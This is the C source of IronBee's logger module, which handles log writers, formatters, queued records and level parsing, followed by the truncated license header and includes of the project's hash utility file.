/***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief IronBee --- Logger * * @author <NAME> <<EMAIL>> */ #include "ironbee_config_auto.h" #include <ironbee/logger.h> #include <ironbee/mm_mpool_lite.h> #include <ironbee/string.h> #include <assert.h> #include <stdlib.h> /** * A collection of callbacks and function pointer that implement a logger. */ struct ib_logger_writer_t { ib_logger_open_fn_t open_fn; /**< Open the logger. */ void *open_data; /**< Callback data. */ ib_logger_close_fn_t close_fn; /**< Close logs files. */ void *close_data; /**< Callback data. */ ib_logger_reopen_fn_t reopen_fn; /**< Close and reopen log files. */ void *reopen_data; /**< Callback data. */ ib_logger_format_t *format; /**< Format a message. */ ib_logger_record_fn_t record_fn; /**< Signal a record is ready. */ void *record_data; /**< Callback data. */ ib_queue_t *records; /**< Records for the log writer. */ ib_lock_t records_lck; /**< Guard the queue. */ }; //! Identify the type of a logger callback function. enum logger_callback_fn_type_enum { LOGGER_OPEN_FN, /**< @ref ib_logger_open_fn_t type. */ LOGGER_CLOSE_FN, /**< @ref ib_logger_close_fn_t type. */ LOGGER_REOPEN_FN, /**< @ref ib_logger_reopen_fn_t type. */ LOGGER_FORMAT_FN, /**< @ref ib_logger_format_fn_t type. */ LOGGER_RECORD_FN /**< @ref ib_logger_record_fn_t type. */ }; typedef enum logger_callback_fn_type_enum logger_callback_fn_type_enum; struct logger_callback_fn_t { //! The type of function stored in this structure. logger_callback_fn_type_enum type; //! A union of the different function pointer types. union { ib_logger_open_fn_t open_fn; /**< Open function. */ ib_logger_close_fn_t close_fn; /**< Close function. */ ib_logger_reopen_fn_t reopen_fn; /**< Reopen function. */ ib_logger_record_fn_t record_fn; /**< Record function. */ ib_logger_format_t *format; /**< Format funcs and cbdata. */ } fn; //! The callback data the user would like associated with the callback. void *cbdata; }; typedef struct logger_callback_fn_t logger_callback_fn_t; /** * A logger is what @ref ib_logger_rec_t are submitted to to produce a log. */ struct ib_logger_t { ib_logger_level_t level; /**< The log level. */ /** * Memory manager defining lifetime of the logger. */ ib_mm_t mm; /** * List of @ref ib_logger_writer_t. * * A logger, by itself, cannot log anything. The writers * implement the actual logging functionality. This list is the list * of all writers that this logger will send messages to. * * Writers also get notified of flush, open, close, and reopen events. */ ib_list_t *writers; /** * A map of logger_callback_fn_t structs that name a function. * * Often the provider of a @ref ib_logger_format_fn_t is not * aware of the @ref ib_logger_record_fn_t that will use it. In such * cases it is often very useful to be able to store * a function by name to be retrieved later. * * This hash allows different logger functions to be stored and * retrieved to assist clients to this API to better share functions. */ ib_hash_t *functions; }; /** * The pair of formatting function and output message free function. * * The format function outputs a message that the @ref ib_logger_record_fn_t * function must finally log. Because the record function * may occur much later than the format function, even after the lifetime * of a transaction that has generated a log message, * it is the record function's responsibility to free the outputted message. */ struct ib_logger_format_t { //! Format a log message. ib_logger_format_fn_t format_fn; //! Callback data for ib_logger_format_t::format_fn.; void *format_cbdata; /** * Free the message generated by ib_logger_format_t::format_fn. * * May be null. */ ib_logger_format_free_fn_t format_free_fn; //! Callback data for ib_logger_format_t::format_free_fn. void *format_free_cbdata; }; /** * Writer function. * * @param[in] logger The logger. * @param[in] writer The writer. * @param[in] cbdata Callback data. * @returns * - IB_OK On success. * - Other on error. */ typedef ib_status_t (*writer_fn)( ib_logger_t *logger, ib_logger_writer_t *writer, void *cbdata); /** * Iterate over every @ref ib_logger_writer_t in @a logger and apply @a fn. * * @param[in] logger The logger. * @param[in] fn The function to apply to every @ref ib_logger_writer_t. * @param[in] data Callback data. * * @returns * - IB_OK On success. * - The first non-IB_OK code returned by @a fn. The @a fn function is * always applied to all writers. */ static ib_status_t for_each_writer( ib_logger_t *logger, writer_fn fn, void *data ) { assert(logger != NULL); ib_status_t rc = IB_OK; const ib_list_node_t *node; IB_LIST_LOOP_CONST(logger->writers, node) { ib_logger_writer_t *writer = (ib_logger_writer_t *)ib_list_node_data_const(node); if (fn != NULL) { ib_status_t trc = fn(logger, writer, data); if (trc != IB_OK && rc == IB_OK) { rc = trc; } } } return rc; } /** * Structure to hold the user's log message to format. */ typedef struct logger_write_cbdata_t { const uint8_t *msg; /**< The message. */ size_t msg_sz; /**< The size of the message. */ ib_logger_rec_t *rec; /**< Record used to format. */ } logger_write_cbdata_t; /** * The maximum depth of a message queue in a @ref ib_logger_writer_t. */ static const size_t MAX_QUEUE_DEPTH = 1000; /** * The implementation for logger_log(). * * This function will * - Format the message stored in @a cbdata as a @ref logger_write_cbdata_t. * - Lock the message queue. * - Enqueue the formatted message. * - If the message is the only message in the queue, * ib_logger_writer_t::record_fn is called to signal the * writer that at least one record is available. * * @param[in] logger The logger. * @param[in] writer The logger writer to send the message to. * @param[in] cbdata @ref logger_write_cbdata_t containing the user's message. * * @returns * - IB_OK On success. * - Other on implementation failure. */ static ib_status_t logger_write( ib_logger_t *logger, ib_logger_writer_t *writer, void *cbdata ) { ib_status_t rc; void *rec = NULL; logger_write_cbdata_t *logger_write_data = (logger_write_cbdata_t *)cbdata; if (writer->format == NULL) { return IB_DECLINED; } if (writer->format->format_fn == NULL) { return IB_DECLINED; } rc = writer->format->format_fn( logger, logger_write_data->rec, logger_write_data->msg, logger_write_data->msg_sz, &rec, writer->format->format_cbdata); if (rc == IB_DECLINED || rec == NULL) { return IB_OK; } if (rc != IB_OK) { return rc; } rc = ib_lock_lock(&(writer->records_lck)); if (rc != IB_OK) { return rc; } /* Busy-wait until the queue has space available. * This is emergency code to avoid a crash at the cost of a slowdown. */ while (ib_queue_size(writer->records) >= MAX_QUEUE_DEPTH) { rc = ib_lock_unlock(&(writer->records_lck)); if (rc != IB_OK) { return rc; } /* TODO - The number of times we need to sleep should be * audited. It is a good indicator of excessive logging or * proxy load. */ sleep(1); rc = ib_lock_lock(&(writer->records_lck)); if (rc != IB_OK) { return rc; } } rc = ib_queue_push_front(writer->records, rec); if (rc != IB_OK) { return rc; } /* If the queue is size=1, unlock and notify writers. */ if (ib_queue_size(writer->records) == 1) { ib_lock_unlock(&(writer->records_lck)); rc = writer->record_fn(logger, writer, writer->record_data); return rc; } ib_lock_unlock(&(writer->records_lck)); return rc; } /** * Determine if the logger message should be filtered (ignored) or not. * * This is common filtering code. While it seems simple now, it is * expected to grow as features are added to the logger api. * * @param[in] logger The logger. * @param[in] level The level of the message. * * @returns * - True if the message should be discarded. * - False if the message should not be discarded. */ static bool logger_filter( ib_logger_t *logger, ib_logger_level_t level ) { assert(logger != NULL); if (level <= logger->level) { return false; } return true; } /** * Actually perform the logging. */ static void logger_log( ib_logger_t *logger, ib_logger_rec_t *rec, const uint8_t *msg, size_t msg_sz ) { assert(logger != NULL); logger_write_cbdata_t logger_write_data = { msg, msg_sz, rec }; /* For each logger, * - format the log message * - enqueue the log message * - signal the log writer if it was waiting on an empty queue. */ for_each_writer(logger, logger_write, &logger_write_data); } void ib_logger_log_msg( ib_logger_t *logger, ib_logger_logtype_t type, const char *file, const char *function, size_t line_number, const ib_engine_t *engine, const ib_module_t *module, const ib_conn_t *conn, const ib_tx_t *tx, ib_logger_level_t level, const uint8_t *msg, size_t msg_sz, ib_logger_msg_fn_t msg_fn, void *msg_fn_data ) { ib_status_t rc; const uint8_t *log_msg; /* Final message. */ size_t log_msg_sz; uint8_t *fn_msg; /* Message generated by msg_fn. */ size_t fn_msg_sz; ib_logger_rec_t rec; ib_mpool_lite_t *mpl = NULL; if (logger_filter(logger, level)) { return; } rc = ib_mpool_lite_create(&mpl); if (rc != IB_OK) { return; } rec.type = type; rec.line_number = line_number; rec.file = file; rec.function = function; rec.timestamp = ib_clock_get_time(); rec.module = module; rec.conn = conn; rec.tx = tx; rec.engine = engine; rec.level = level; /* Build the message using the user's function. */ rc = msg_fn(&rec, ib_mm_mpool_lite(mpl), &fn_msg, &fn_msg_sz, msg_fn_data); if (rc != IB_OK) { goto exit; } /* Do not log empty messages. */ if (msg_sz + fn_msg_sz == 0) { goto exit; } /* If msg is 0, use fn_msg. */ if (msg_sz == 0) { log_msg_sz = fn_msg_sz; log_msg = fn_msg; } /* If fn_msg is 0, use msg. */ else if(fn_msg_sz == 0) { log_msg_sz = msg_sz; log_msg = msg; } /* Else, both messages are non-zero. Concatenate them. */ else { log_msg_sz = msg_sz + fn_msg_sz; /* Get a non-const alias for what will be log_msg memory. */ uint8_t *tmp_msg = ib_mpool_lite_alloc(mpl, log_msg_sz); log_msg = tmp_msg; if (tmp_msg == NULL) { goto exit; } /* Build msg. */ memcpy(tmp_msg, msg, msg_sz); memcpy(tmp_msg+msg_sz, fn_msg, fn_msg_sz); } /* Finally log the message. */ logger_log(logger, &rec, log_msg, log_msg_sz); exit: ib_mpool_lite_destroy(mpl); } void ib_logger_log_va( ib_logger_t *logger, ib_logger_logtype_t type, const char *file, const char *function, size_t line_number, const ib_engine_t *engine, const ib_module_t *module, const ib_conn_t *conn, const ib_tx_t *tx, ib_logger_level_t level, const char *msg, ... ) { va_list ap; va_start(ap, msg); ib_logger_log_va_list( logger, type, file, function, line_number, engine, module, conn, tx, level, msg, ap ); va_end(ap); } void ib_logger_log_va_list( ib_logger_t *logger, ib_logger_logtype_t type, const char *file, const char *function, size_t line_number, const ib_engine_t *engine, const ib_module_t *module, const ib_conn_t *conn, const ib_tx_t *tx, ib_logger_level_t level, const char *msg, va_list ap ) { ib_status_t rc; uint8_t *log_msg; /* Final message. */ size_t log_msg_sz = 1024; ib_logger_rec_t rec; ib_mpool_lite_t *mpl = NULL; if (logger_filter(logger, level)) { return; } rc = ib_mpool_lite_create(&mpl); if (rc != IB_OK) { return; } log_msg = ib_mpool_lite_alloc(mpl, log_msg_sz); if (log_msg == NULL) { ib_mpool_lite_destroy(mpl); return; } log_msg_sz = vsnprintf((char *)log_msg, log_msg_sz, msg, ap); rec.type = type; rec.line_number = line_number; rec.file = file; rec.function = function; rec.timestamp = ib_clock_get_time(); rec.module = module; rec.conn = conn; rec.tx = tx; rec.engine = engine; rec.level = level; logger_log(logger, &rec, log_msg, log_msg_sz); ib_mpool_lite_destroy(mpl); } /** * Default logger configuration. */ typedef struct default_logger_cfg_t { FILE * file; /**< File to log to. */ } default_logger_cfg_t; //! Limit the size of a message that the default formatter will generate. static const size_t DEFAULT_LOGGER_FORMAT_MAX_MSG = 8 * 1024; /** * The default logger format function. * * This wraps ib_logger_standard_formatter() and reports errors to the * log file defined by default_logger_cfg_t::file. * * param[in] logger The logger. * param[in] rec The record. * param[in] log_msg The user's log message. * param[in] log_msg_sz The length of @a log_msg. * param[in] writer_record A @a ib_logger_standard_msg_t will be written here * on success. * param[in] data A @a default_logger_cfg_t holding default logger * configuration information. */ static ib_status_t default_logger_format( ib_logger_t *logger, const ib_logger_rec_t *rec, const uint8_t *log_msg, size_t log_msg_sz, void *writer_record, void *data ) { assert(logger != NULL); assert(rec != NULL); assert(log_msg != NULL); assert(writer_record != NULL); ib_status_t rc; default_logger_cfg_t *cfg = (default_logger_cfg_t *)data; if (log_msg_sz > DEFAULT_LOGGER_FORMAT_MAX_MSG) { log_msg_sz = DEFAULT_LOGGER_FORMAT_MAX_MSG; } rc = ib_logger_standard_formatter( logger, rec, log_msg, log_msg_sz, writer_record, data); if (rc == IB_EALLOC) { ib_logger_standard_msg_free( logger, *(void **)writer_record, data); fprintf(cfg->file, "Out of memory. Unable to log."); fflush(cfg->file); } else if (rc != IB_OK && rc != IB_DECLINED) { ib_logger_standard_msg_free( logger, *(void **)writer_record, data); fprintf(cfg->file, "Unexpected error."); fflush(cfg->file); } return rc; } /* Default logger format struct. */ static ib_logger_format_t default_format = { .format_fn = default_logger_format, .format_cbdata = NULL, .format_free_fn = ib_logger_standard_msg_free, .format_free_cbdata = NULL }; ib_status_t ib_logger_create( ib_logger_t **logger, ib_logger_level_t level, ib_mm_t mm ) { assert(logger != NULL); ib_logger_t *l; ib_status_t rc; l = (ib_logger_t *)ib_mm_alloc(mm, sizeof(*l)); if (l == NULL) { return IB_EALLOC; } l->level = level; l->mm = mm; rc = ib_list_create(&(l->writers), mm); if (rc != IB_OK) { return rc; } rc = ib_hash_create(&(l->functions), mm); if (rc != IB_OK) { return rc; } rc = ib_logger_register_format( l, IB_LOGGER_DEFAULT_FORMATTER_NAME, &default_format); if (rc != IB_OK) { return rc; } *logger = l; return IB_OK; } ib_status_t ib_logger_writer_add( ib_logger_t *logger, ib_logger_open_fn_t open_fn, void *open_data, ib_logger_close_fn_t close_fn, void *close_data, ib_logger_reopen_fn_t reopen_fn, void *reopen_data, ib_logger_format_t *format, ib_logger_record_fn_t record_fn, void *record_data ) { assert(logger != NULL); assert(logger->writers != NULL); ib_status_t rc; ib_logger_writer_t *writer; writer = (ib_logger_writer_t *)ib_mm_alloc(logger->mm, sizeof(*writer)); if (writer == NULL) { return IB_EALLOC; } writer->open_fn = open_fn; writer->open_data = open_data; writer->close_fn = close_fn; writer->close_data = close_data; writer->reopen_fn = reopen_fn; writer->reopen_data = reopen_data; writer->format = format; writer->record_fn = record_fn; writer->record_data = record_data; rc = ib_queue_create(&(writer->records), logger->mm, IB_QUEUE_NEVER_SHRINK); if (rc != IB_OK) { return rc; } rc = ib_lock_init(&(writer->records_lck)); if (rc != IB_OK) { return rc; } rc = ib_list_push(logger->writers, writer); if (rc != IB_OK) { return rc; } return IB_OK; } ib_status_t ib_logger_writer_clear( ib_logger_t *logger ) { assert(logger != NULL); assert(logger->writers != NULL); ib_list_clear(logger->writers); return IB_OK; } /** * Implementation for ib_logger_open(). * * @param[in] logger The logger. * @param[in] writer The writer to perform the function on. * @param[in] data Callback data. NULL. * * @returns * - IB_OK On success. * - Other on implementation failure. */ static ib_status_t logger_open( ib_logger_t *logger, ib_logger_writer_t *writer, void *data ) { assert(logger != NULL); assert(writer != NULL); assert(data == NULL); if (writer->open_fn == NULL) { return IB_OK; } return writer->open_fn(logger, writer->open_data); } ib_status_t ib_logger_open( ib_logger_t *logger ) { assert(logger != NULL); return for_each_writer(logger, logger_open, NULL); } /** * Implementation for ib_logger_close(). * * @param[in] logger The logger. * @param[in] writer The writer to perform the function on. * @param[in] data Callback data. NULL. * * @returns * - IB_OK On success. * - Other on implementation failure. */ static ib_status_t logger_close( ib_logger_t *logger, ib_logger_writer_t *writer, void *data ) { assert(logger != NULL); assert(writer != NULL); assert(data == NULL); if (writer->close_fn == NULL) { return IB_OK; } return writer->close_fn(logger, writer->close_data); } ib_status_t ib_logger_close( ib_logger_t *logger ) { assert(logger != NULL); return for_each_writer(logger, logger_close, NULL); } /** * Implementation for ib_logger_reopen(). * * @param[in] logger The logger. * @param[in] writer The writer to perform the function on. * @param[in] data Callback data. NULL. * * @returns * - IB_OK On success. * - Other on implementation failure. */ static ib_status_t logger_reopen( ib_logger_t *logger, ib_logger_writer_t *writer, void *data ) { assert(logger != NULL); assert(writer != NULL); assert(data == NULL); if (writer->reopen_fn == NULL) { return IB_OK; } return writer->reopen_fn(logger, writer->reopen_data); } ib_status_t ib_logger_reopen( ib_logger_t *logger ) { assert(logger != NULL); return for_each_writer(logger, logger_reopen, NULL); } /** * Custom callback data for logger_handler(). */ struct logger_handler_cbdata_t { ib_logger_t *logger; /**< The logger. */ ib_queue_element_fn_t user_fn; /**< User's callback function. */ void *user_data; /**< User's callback data. */ ib_logger_format_free_fn_t free_fn; /**< Free the queue element. */ void *free_data; /**< Free callback data. */ }; typedef struct logger_handler_cbdata_t logger_handler_cbdata_t; /** * Dispatches log message to handler, then frees them. */ static void logger_handler(void *element, void *cbdata) { assert(cbdata != NULL); logger_handler_cbdata_t *data = (logger_handler_cbdata_t *)cbdata; /* Let the user write the record. */ data->user_fn(element, data->user_data); /* Free the data. */ data->free_fn(data->logger, element, data->free_data); } ib_status_t ib_logger_dequeue( ib_logger_t *logger, ib_logger_writer_t *writer, ib_queue_element_fn_t handler, void *cbdata ) { assert(logger != NULL); assert(writer != NULL); assert(writer->records != NULL); ib_status_t rc; logger_handler_cbdata_t logger_handler_cbdata = { .logger = logger, .user_fn = handler, .user_data = cbdata, .free_fn = writer->format->format_free_fn, .free_data = writer->format->format_free_cbdata }; rc = ib_lock_lock(&(writer->records_lck)); if (rc != IB_OK) { return rc; } rc = ib_queue_dequeue_all_to_function( writer->records, logger_handler, &logger_handler_cbdata); ib_lock_unlock(&(writer->records_lck)); return rc; } size_t ib_logger_writer_count(ib_logger_t *logger) { assert(logger != NULL); assert(logger->writers != NULL); return ib_list_elements(logger->writers); } ib_logger_level_t ib_logger_level_get(ib_logger_t *logger) { assert(logger != NULL); return logger->level; } void ib_logger_level_set(ib_logger_t *logger, ib_logger_level_t level) { assert(logger != NULL); logger->level = level; } void ib_logger_standard_msg_free( ib_logger_t *logger, void *writer_record, void *cbdata ) { assert(logger != NULL); assert(writer_record != NULL); ib_logger_standard_msg_t *msg = (ib_logger_standard_msg_t *)writer_record; if (msg != NULL) { if (msg->prefix != NULL) { free(msg->prefix); } if (msg->msg != NULL) { free(msg->msg); } free(msg); } } ib_status_t ib_logger_standard_formatter_notime( ib_logger_t *logger, const ib_logger_rec_t *rec, const uint8_t *log_msg, const size_t log_msg_sz, void *writer_record, void *data ) { assert(logger != NULL); assert(rec != NULL); assert(log_msg != NULL); assert(writer_record != NULL); ib_logger_standard_msg_t *msg; if (rec->type != IB_LOGGER_ERRORLOG_TYPE) { return IB_DECLINED; } msg = malloc(sizeof(*msg)); if (msg == NULL) { goto out_of_mem; } msg->prefix = NULL; msg->msg = NULL; /* 100 is more than sufficient. */ msg->prefix = (char *)malloc(100); if (msg->prefix == NULL) { goto out_of_mem; } sprintf( msg->prefix, "%-10s- ", ib_logger_level_to_string(rec->level)); /* Add the file name and line number if available and log level >= DEBUG */ if ( (rec->file != NULL) && (rec->line_number > 0) && (logger->level >= IB_LOG_DEBUG) ) { const char *file = rec->file; size_t flen; while (strncmp(file, "../", 3) == 0) { file += 3; } flen = strlen(file); if (flen > 23) { file += (flen - 23); } static const size_t c_line_info_length = 35; char line_info[c_line_info_length]; snprintf( line_info, c_line_info_length, "(%23s:%-5d) ", file, (int)rec->line_number ); strcat(msg->prefix, line_info); } /* If this is a transaction, add the TX id */ if (rec->tx != NULL) { static const size_t c_line_info_size = 43; char line_info[c_line_info_size]; strcpy(line_info, "[tx:"); strcat(line_info, rec->tx->id); strcat(line_info, "] "); strcat(msg->prefix, line_info); } msg->msg_sz = log_msg_sz; msg->msg = malloc(log_msg_sz); if (msg->msg == NULL) { goto out_of_mem; } memcpy(msg->msg, log_msg, log_msg_sz); *(ib_logger_standard_msg_t **)writer_record = msg; return IB_OK; out_of_mem: if (msg != NULL) { ib_logger_standard_msg_free(logger, msg, data); } return IB_EALLOC; } ib_status_t ib_logger_standard_formatter( ib_logger_t *logger, const ib_logger_rec_t *rec, const uint8_t *log_msg, const size_t log_msg_sz, void *writer_record, void *data ) { assert(logger != NULL); assert(rec != NULL); assert(log_msg != NULL); assert(writer_record != NULL); char time_info[32 + 1]; struct tm *tminfo; time_t timet; ib_logger_standard_msg_t *msg; if (rec->type != IB_LOGGER_ERRORLOG_TYPE) { return IB_DECLINED; } msg = malloc(sizeof(*msg)); if (msg == NULL) { goto out_of_mem; } msg->prefix = NULL; msg->msg = NULL; timet = time(NULL); tminfo = localtime(&timet); strftime(time_info, sizeof(time_info)-1, "%Y%m%d.%Hh%Mm%Ss", tminfo); /* 100 is more than sufficient. */ msg->prefix = (char *)malloc(strlen(time_info) + 100); if (msg->prefix == NULL) { goto out_of_mem; } sprintf( msg->prefix, "%s %-10s- ", time_info, ib_logger_level_to_string(rec->level)); /* Add the file name and line number if available and log level >= DEBUG */ if ( (rec->file != NULL) && (rec->line_number > 0) && (logger->level >= IB_LOG_DEBUG) ) { const char *file = rec->file; size_t flen; while (strncmp(file, "../", 3) == 0) { file += 3; } flen = strlen(file); if (flen > 23) { file += (flen - 23); } static const size_t c_line_info_length = 35; char line_info[c_line_info_length]; snprintf( line_info, c_line_info_length, "(%23s:%-5d) ", file, (int)rec->line_number ); strcat(msg->prefix, line_info); } /* If this is a transaction, add the TX id */ if (rec->tx != NULL) { static const size_t c_line_info_size = 43; char line_info[c_line_info_size]; strcpy(line_info, "[tx:"); strcat(line_info, rec->tx->id); strcat(line_info, "] "); strcat(msg->prefix, line_info); } msg->msg_sz = log_msg_sz; msg->msg = malloc(log_msg_sz); if (msg->msg == NULL) { goto out_of_mem; } memcpy(msg->msg, log_msg, log_msg_sz); *(ib_logger_standard_msg_t **)writer_record = msg; return IB_OK; out_of_mem: if (msg != NULL) { ib_logger_standard_msg_free(logger, msg, data); } return IB_EALLOC; } static void default_log_writer(void *record, void *cbdata) { assert(record != NULL); assert(cbdata != NULL); default_logger_cfg_t *cfg = (default_logger_cfg_t *)cbdata; ib_logger_standard_msg_t *msg = (ib_logger_standard_msg_t *)record; fprintf( cfg->file, "%s %.*s\n", msg->prefix, (int)msg->msg_sz, (char *)msg->msg); fflush(cfg->file); } /** * The default logger's record call. */ static ib_status_t default_logger_record( ib_logger_t *logger, ib_logger_writer_t *writer, void *data ) { assert(logger != NULL); assert(writer != NULL); assert(data != NULL); return ib_logger_dequeue(logger, writer, default_log_writer, data); } ib_status_t ib_logger_writer_add_default( ib_logger_t *logger, FILE *logfile ) { assert(logger != NULL); default_logger_cfg_t *cfg; cfg = ib_mm_alloc(logger->mm, sizeof(*cfg)); if (cfg == NULL) { return IB_EALLOC; } cfg->file = logfile; return ib_logger_writer_add( logger, NULL, /* Open. */ NULL, NULL, /* Close. */ NULL, NULL, /* Reopen. */ NULL, &default_format, default_logger_record, cfg ); } static const char* c_log_levels[] = { "EMERGENCY", "ALERT", "CRITICAL", "ERROR", "WARNING", "NOTICE", "INFO", "DEBUG", "DEBUG2", "DEBUG3", "TRACE" }; static size_t c_num_levels = sizeof(c_log_levels)/sizeof(*c_log_levels); ib_logger_level_t ib_logger_string_to_level( const char *s, ib_logger_level_t dlevel ) { unsigned int i; ib_num_t level; /* First, if it's a number, just do a numeric conversion */ if (ib_string_to_num(s, 10, &level) == IB_OK) { return (ib_logger_level_t)level; } /* Now, string compare to level names */ for (i = 0; i < c_num_levels; ++i) { if ( strncasecmp(s, c_log_levels[i], strlen(c_log_levels[i])) == 0 && strlen(s) == strlen(c_log_levels[i]) ) { return i; } } /* No match, return the default */ return dlevel; } const char *ib_logger_level_to_string(ib_logger_level_t level) { if (level < c_num_levels) { return c_log_levels[level]; } else { return "UNKNOWN"; } } static ib_status_t logger_register_fn( ib_logger_t *logger, logger_callback_fn_type_enum type, const char *name, ib_void_fn_t fn, void *cbdata ) NONNULL_ATTRIBUTE(1, 3); static ib_status_t logger_register_fn( ib_logger_t *logger, logger_callback_fn_type_enum type, const char *name, ib_void_fn_t fn, void *cbdata ) { ib_status_t rc; logger_callback_fn_t *logger_callback_fn; logger_callback_fn = ib_mm_alloc(logger->mm, sizeof(*logger_callback_fn)); if (logger_callback_fn == NULL) { return IB_EALLOC; } logger_callback_fn->cbdata = cbdata; logger_callback_fn->type = type; switch (type) { case LOGGER_OPEN_FN: logger_callback_fn->fn.open_fn = (ib_logger_open_fn_t)fn; break; case LOGGER_CLOSE_FN: logger_callback_fn->fn.close_fn = (ib_logger_close_fn_t)fn; break; case LOGGER_REOPEN_FN: logger_callback_fn->fn.reopen_fn = (ib_logger_reopen_fn_t)fn; break; case LOGGER_RECORD_FN: logger_callback_fn->fn.record_fn = (ib_logger_record_fn_t)fn; break; default: return IB_EINVAL; } /* Set the value. */ rc = ib_hash_set(logger->functions, name, logger_callback_fn); if (rc != IB_OK) { return rc; } return IB_OK; }; ib_status_t ib_logger_register_open_fn( ib_logger_t *logger, const char *fn_name, ib_logger_open_fn_t fn, void *cbdata ) { assert(logger != NULL); assert(fn_name != NULL); return logger_register_fn( logger, LOGGER_OPEN_FN, fn_name, (ib_void_fn_t)(fn), cbdata); } ib_status_t ib_logger_register_close_fn( ib_logger_t *logger, const char *fn_name, ib_logger_close_fn_t fn, void *cbdata ) { assert(logger != NULL); assert(fn_name != NULL); return logger_register_fn( logger, LOGGER_CLOSE_FN, fn_name, (ib_void_fn_t)(fn), cbdata); } ib_status_t ib_logger_register_reopen_fn( ib_logger_t *logger, const char *fn_name, ib_logger_reopen_fn_t fn, void *cbdata ) { assert(logger != NULL); assert(fn_name != NULL); return logger_register_fn( logger, LOGGER_REOPEN_FN, fn_name, (ib_void_fn_t)(fn), cbdata); } ib_status_t ib_logger_register_format( ib_logger_t *logger, const char *format_name, ib_logger_format_t *format ) { assert(logger != NULL); assert(format_name != NULL); ib_status_t rc; logger_callback_fn_t *logger_callback_fn; logger_callback_fn = ib_mm_alloc(logger->mm, sizeof(*logger_callback_fn)); if (logger_callback_fn == NULL) { return IB_EALLOC; } logger_callback_fn->cbdata = NULL; logger_callback_fn->type = LOGGER_FORMAT_FN; logger_callback_fn->fn.format = format; /* Set the value. */ rc = ib_hash_set(logger->functions, format_name, logger_callback_fn); if (rc != IB_OK) { return rc; } return IB_OK; } ib_status_t ib_logger_register_record_fn( ib_logger_t *logger, const char *fn_name, ib_logger_record_fn_t fn, void *cbdata ) { assert(logger != NULL); assert(fn_name != NULL); return logger_register_fn( logger, LOGGER_RECORD_FN, fn_name, (ib_void_fn_t)(fn), cbdata); } static ib_status_t logger_fetch_fn( ib_logger_t *logger, logger_callback_fn_type_enum type, const char *name, ib_void_fn_t *fn, void *cbdata ) NONNULL_ATTRIBUTE(1, 3, 4, 5); static ib_status_t logger_fetch_fn( ib_logger_t *logger, logger_callback_fn_type_enum type, const char *name, ib_void_fn_t *fn, void *cbdata ) { assert(logger != NULL); assert(name != NULL); logger_callback_fn_t *logger_callback_fn; ib_status_t rc; rc = ib_hash_get(logger->functions, &logger_callback_fn, name); if (rc != IB_OK) { return rc; } /* Validate that the expected type matches. */ if (logger_callback_fn->type != type) { return IB_EINVAL; } switch (type) { case LOGGER_OPEN_FN: *fn = (ib_void_fn_t)logger_callback_fn->fn.open_fn; break; case LOGGER_CLOSE_FN: *fn = (ib_void_fn_t)logger_callback_fn->fn.close_fn; break; case LOGGER_REOPEN_FN: *fn = (ib_void_fn_t)logger_callback_fn->fn.reopen_fn; break; case LOGGER_RECORD_FN: *fn = (ib_void_fn_t)logger_callback_fn->fn.record_fn; break; default: return IB_EINVAL; } *(void **)cbdata = logger_callback_fn->cbdata; return IB_OK; } ib_status_t ib_logger_fetch_open_fn( ib_logger_t *logger, const char *name, ib_logger_open_fn_t *fn, void *cbdata ) { assert(logger != NULL); assert(name != NULL); return logger_fetch_fn( logger, LOGGER_OPEN_FN, name, (ib_void_fn_t *)fn, cbdata); } ib_status_t ib_logger_fetch_close_fn( ib_logger_t *logger, const char *name, ib_logger_close_fn_t *fn, void *cbdata ) { assert(logger != NULL); assert(name != NULL); return logger_fetch_fn( logger, LOGGER_CLOSE_FN, name, (ib_void_fn_t *)fn, cbdata); } ib_status_t ib_logger_fetch_reopen_fn( ib_logger_t *logger, const char *name, ib_logger_reopen_fn_t *fn, void *cbdata ) { assert(logger != NULL); assert(name != NULL); return logger_fetch_fn( logger, LOGGER_REOPEN_FN, name, (ib_void_fn_t *)fn, cbdata); } ib_status_t ib_logger_fetch_format( ib_logger_t *logger, const char *name, ib_logger_format_t **format ) { assert(logger != NULL); assert(name != NULL); logger_callback_fn_t *logger_callback_fn; ib_status_t rc; rc = ib_hash_get(logger->functions, &logger_callback_fn, name); if (rc != IB_OK) { return rc; } /* Validate that the expected type matches. */ if (logger_callback_fn->type != LOGGER_FORMAT_FN) { return IB_EINVAL; } *format = logger_callback_fn->fn.format; return IB_OK; } ib_status_t ib_logger_fetch_record_fn( ib_logger_t *logger, const char *name, ib_logger_record_fn_t *fn, void *cbdata ) { assert(logger != NULL); assert(name != NULL); return logger_fetch_fn( logger, LOGGER_RECORD_FN, name, (ib_void_fn_t *)fn, cbdata); } ib_status_t ib_logger_format_create( ib_logger_t *logger, ib_logger_format_t **format, ib_logger_format_fn_t format_fn, void *format_cbdata, ib_logger_format_free_fn_t format_free_fn, void *format_free_cbdata ) { assert(logger != NULL); assert(format != NULL); assert(format_fn != NULL); ib_logger_format_t *format_out = (ib_logger_format_t *)ib_mm_alloc(logger->mm, sizeof(*format_out)); if (format_out == NULL) { return IB_EALLOC; } format_out->format_fn = format_fn; format_out->format_cbdata = format_cbdata; format_out->format_free_fn = format_free_fn; format_out->format_free_cbdata = format_free_cbdata; /* Return the created struct. */ *format = format_out; return IB_OK; }
crustymonkey/ironbee
util/hash.c
/***************************************************************************** * Licensed to Qualys, Inc. (QUALYS) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * QUALYS licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. ****************************************************************************/ /** * @file * @brief IronBee --- Hash Utility Functions Implementation * @author <NAME> <<EMAIL>> * @author <NAME> <<EMAIL>> * @author <NAME> <<EMAIL>> */ #include "ironbee_config_auto.h" #include <ironbee/hash.h> #include <assert.h> #include <ctype.h> #include <stdlib.h> #include <string.h> #include <time.h> /* Internal 